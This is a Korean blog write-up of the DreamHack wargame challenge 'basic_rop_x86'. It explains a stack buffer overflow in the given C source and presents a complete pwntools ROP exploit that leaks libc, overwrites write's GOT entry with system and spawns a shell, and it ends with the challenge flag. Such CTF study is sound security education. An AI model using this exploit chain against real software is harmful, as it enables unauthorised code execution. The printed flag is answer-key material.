Description
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요."flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.플래그의 형식은 DH{...} 입니다.
NX 보호 기법이 걸려있다.
** NX 보호 기법 적용시 :
실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역 분리되어 있음
-> 버퍼에 쉘 코드를 주입하거나 주입한 쉘 코드 실행 X
문제코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf의 크기는 0x40(64)인데, read() 함수에서 0x400(1024)만큼 입력 받고 있기 때문에 스택버퍼오버플로우가 발생하게 된다.
그리고 read() 함수 다음에 바로 write() 함수를 이용해 화면에 buf의 내용을 출력한다.
-> read 함수와 write 함수를 이용하는 ROP 문제로 접근해보자!
메인의 어셈블리어를 보면, 스택 구조가 이와 같음을 알 수 있다.
buf[0x40] | dummy[4] | ebp | ret
ropgadget 명령어로 가젯을 찾아준다. read함수와 write 함수는 인자가 3개 이기 때문에,
0x08048689 : pop esi ; pop edi ; pop ebp ; ret
해당 가젯을 사용해준다. 0x8048689
exploit 구성
1. write(1, read@got, 4)로 read의 실제 주소 leak
2. read(0, bss, 8)로 BSS 영역에 /bin/sh를 씀
3. read(0, write@got, 4)로 write의 GOT OVERWRITE해 system으로 만들기
4. write(bss)를 호출하여 system("/bin/sh")를 실행하고 쉘을 획득
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 16757)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
pppr = 0x8048689
bss = e.bss()
# Exploit
payload = b'A' * 72
# read의 실제 주소 leak -> write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# BSS 영역에 "/bin/sh" 쓰기 -> read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# got overwrite (write -> system) => read(0, write@got, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# write("/bin/sh") => system("/bin/sh") 호출
payload += p32(write_plt)
payload += b"AAAA"
payload += p32(bss)
p.send(payload)
p.recvuntil(b'A' * 64)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
slog("libc base", lb)
slog("read", read)
slog("system", system)
p.send(b'/bin/sh\x00')
p.sendline(p32(system))
p.interactive()
ROP 체인을 통해 함수 호출을 연결해주자.
1) 스택 오버플로우 및 ROP 체인 시작
payload는 b'A' * 72로 스택 버퍼를 오버플로우시켜 EIP를 덮는다. 버퍼가 72 바이트의 A로 채워지며, 이후에 ROP 체인이 이어지도록 하는 것이다.
2) read 함수의 실제 주소 leaak
그 뒤 read 함수의 실제 주소를 알아낸다. write(1, read@got, 4)로 GOT에 있는 read 함수의 주소를 출력한다.
3). BSS 영역에 "/bin/sh" 저장
BSS 영역에 /bin/sh 문자열을 쓴다. read(0, bss, 8) 호출을 사용하여 8바이트의 데이터를 BSS 영역에 저장한다. (이 데이터는 이후에 system("/bin/sh")에서 사용할 문자열임)
4). GOT overwrite (write -> system)
GOT 테이블에서 write 함수를 system 함수로 덮어쓴다. 이를 위해 read(0, write@got, 4)를 호출하여 표준 입력에서 4바이트 데이터를 write의 GOT에 덮어쓴다. 이후에 write 함수가 호출되면 실제로 system 함수가 호출되기 위함이다.
5) write("/bin/sh") 호출 -> system("/bin/sh") 실행
write("/bin/sh")를 호출하여 실제로 system("/bin/sh")이 실행되게 만든다.
원리 : write가 system으로 덮어씌워져 있기 때문에, write(bss)는 결국 system("/bin/sh")와 동일한 호출이 되어 쉘 획등 가능!!
FLAG is
DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}
'Pwnable' 카테고리의 다른 글
[DreamHack] fho 문서화 | docker로 ubuntu 18.04에서 pwnable환경 세팅 : pwndbg.ver | 도커 파일 옮기기 (0) | 2024.09.18 |
---|---|
[DreamHack] basic_rop_x64 Write-Up (0) | 2024.09.18 |
[DreamHack] rop 문서화 (0) | 2024.09.18 |
DreamHack : x86 Assembly🤖 (0) | 2024.09.09 |
Quiz: Computer Architecture (0) | 2024.09.08 |